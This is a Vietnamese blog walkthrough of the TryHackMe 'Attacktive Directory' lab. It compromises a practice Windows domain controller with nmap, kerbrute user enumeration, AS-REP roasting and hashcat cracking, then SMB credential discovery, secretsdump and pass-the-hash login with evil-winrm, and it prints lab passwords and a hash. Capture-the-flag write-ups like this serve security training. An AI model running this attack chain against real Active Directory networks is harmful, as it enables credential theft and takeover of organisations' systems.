Accessing Attacktive Directory
To access the Virtual Machine, you will need to first connect to our network using OpenVPN. Here is a mini walkthrough of getting connected.
Bước 1: Thu thập thông tin
Sử dụng công cụ nmap để kiểm tra các cổng dịch vụ đang mở
nmap -sV -sC -Pn -T4 -p- ip_victim
PORT STATE SERVICE VERSION 53/tcp open domain? | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 80/tcp open http Microsoft IIS httpd 10.0 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 636/tcp open tcpwrapped 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services | rdp-ntlm-info: | Target_Name: THM-AD | NetBIOS_Domain_Name: THM-AD | NetBIOS_Computer_Name: ATTACKTIVEDIREC | DNS_Domain_Name: spookysec.local | DNS_Computer_Name: AttacktiveDirectory.spookysec.local | Product_Version: 10.0.17763 |_ System_Time: 2020-06-20T13:12:57+00:00 | ssl-cert: Subject: commonName=AttacktiveDirectory.spookysec.local | Not valid before: 2020-04-03T18:40:09 |_Not valid after: 2020-10-03T18:40:09 |_ssl-date: 2020-06-20T13:13:12+00:00; 0s from scanner time. 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49673/tcp open msrpc Microsoft Windows RPC 49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49675/tcp open msrpc Microsoft Windows RPC 49676/tcp open msrpc Microsoft Windows RPC 49799/tcp open msrpc Microsoft Windows RPC 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.80%I=7%D=6/20%Time=5EEE0AD5%P=x86_64-redhat-linux-gnu%r( SF:DNSVersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07vers SF:ion\x04bind\0\0\x10\0\x03"); Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2020-06-20T13:12:58 |_ start_date: N/A
Qua đây thấy được victim chạy web,dns,smb,kerberos và một số dịch vụ khác nữa.
Thấy domain là spookysec.local và NetBIOS_Domain_Name: THM-AD
Chuyển sang bước 2 sử dụng thông tin thu được để khai thác, tấn công
Bước 2: Tấn công sử dụng thông tin thu được
Trước khi làm phần này cần phải cài đặt Impacket:
git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket
pip3 install -r /opt/impacket/requirements.txt
cd /opt/impacket/ && python3 ./setup.py install
Tải công cụ khai thác kerberos
https://github.com/ropnop/kerbrute/releases
wget https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/userlist.txt
wget https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/passwordlist.txt
wget https://raw.githubusercontent.com/Sq00ky/attacktive-directory-tools/master/passwordlist.txt
Thực hiện dò quét các user có thể thấy bằng công cụ kerberos
./kerbrute userenum --dc spookysec.local -d spookysec.local userlist.txt -t 100
Phát hiện 3 user đáng chú ý: svc-admin, backup, administrator
Tiếp theo đó mình thử kiếm tra xem tài khoản nào trong 3 tài khoản trên có thể vét cạn tìm ra mật khẩu đăng nhập với kerberos. Phát hiện được tài khoản svc-admin
python3 /opt/impacket/examples/GetNPUsers.py spookysec.local/svc-admin -request -no-pass -dc-ip ip_victim
Đây là mã băm được sử dụng trong hệ thống kerberos:
Hash mode: 18200
Hash name: Kerberos 5 AS-REP etype 23
Có thể xem thêm theo link: example_hashes [hashcat wiki]
Với thông tin thu được như vậy mình tiến hành tìm mật khẩu sử dụng thư viện rockyou.txt
Trước khi thực hiện tìm mật khẩu mình sẽ đưa nội dung mã băm vào tệp tin svc-admin.hash
hashcat --force -m 18200 -a 0 svc-admin.hash /usr/share/wordlists/rockyou.txt
Thu được mật khẩu là management2005, mình nhớ hồi dò quét biết victim có dùng SMB nên mình sẽ khai thác với user svc-admin và mật khẩu thu được
smbclient -U spookysec.local/svc-admin -L //ip_victim
Thấy thư mục backup được chia sẻ mình sẽ truy cập xem có gì
smbclient -U spookysec.local/svc-admin/backup //ip_victim
Thấy có một tệp tin backup_creadentials.txt mình đọc nó thấy một mã base64 mình giải mã thứ
smb:\> more backup_creadentials.txt
root@ThangMT~#echo "mã base64" | base64 -d
Thu được một mật khẩu của user backup là backup251860
Mình sử dụng thông tin trên và kết hợp với công cụ có tên là secretsdump.py mình đã dump được cả mật khẩu của user Administrator
Bước 3: Leo thang
Cần cài đặt thêm công cụ Evil-WinRM
gem install evil-winrm
Xong đó mình sẽ dùng lệnh sau để leo thang
evil-winrm -i 10.10.104.142 -u administrator -H 0e0363213e373b94221497260b0bcb4fc (mã hash của mật khẩu administrator)
0 Comments